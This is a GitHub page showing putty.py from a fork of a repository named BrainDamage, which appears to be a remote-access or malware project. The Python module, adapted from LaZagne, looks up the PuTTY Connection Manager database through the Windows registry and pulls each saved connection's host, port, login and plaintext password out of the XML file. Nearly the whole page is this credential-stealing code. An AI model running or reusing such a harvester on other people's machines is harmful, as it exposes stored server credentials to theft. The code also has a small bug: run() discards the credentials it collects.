forked from weiweidaolai212/BrainDamage
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathputty.py
73 lines (60 loc) · 2.16 KB
/
putty.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# Based on the work of https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/
import xml.etree.cElementTree as ET
import win32con, win32api
import os
class Putty():
def __init__(self):
pass
def run(self):
try:
database_path = self.get_default_database()
except Exception, e:
return
if os.path.exists(database_path):
self.parse_xml(database_path)
else:
pass
def get_default_database(self):
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager', 0, accessRead)
thisName = str(win32api.RegQueryValueEx(key, 'DefaultDatabase')[0])
if thisName:
return thisName
else:
return ' '
def parse_xml(self, database_path):
xml_file = os.path.expanduser(database_path)
tree = ET.ElementTree(file=xml_file)
root = tree.getroot()
pwdFound = []
for connection in root.iter('connection'):
children = connection.getchildren()
values = {}
for child in children:
for c in child:
find = False
if str(c.tag) == 'name':
find = True
if str(c.tag) == 'protocol':
find = True
elif str(c.tag) == 'host':
find = True
elif str(c.tag) == 'port':
find = True
elif str(c.tag) == 'description':
find = True
elif str(c.tag) == 'login':
find = True
elif str(c.tag) == 'password':
find = True
if find:
values[str(c.tag)] = str(c.text)
# password found
if len(values) != 0:
pwdFound.append(values)
# print the results
#print "Putty: "
return pwdFound
#tem = Putty()
#a = tem.run()
#print a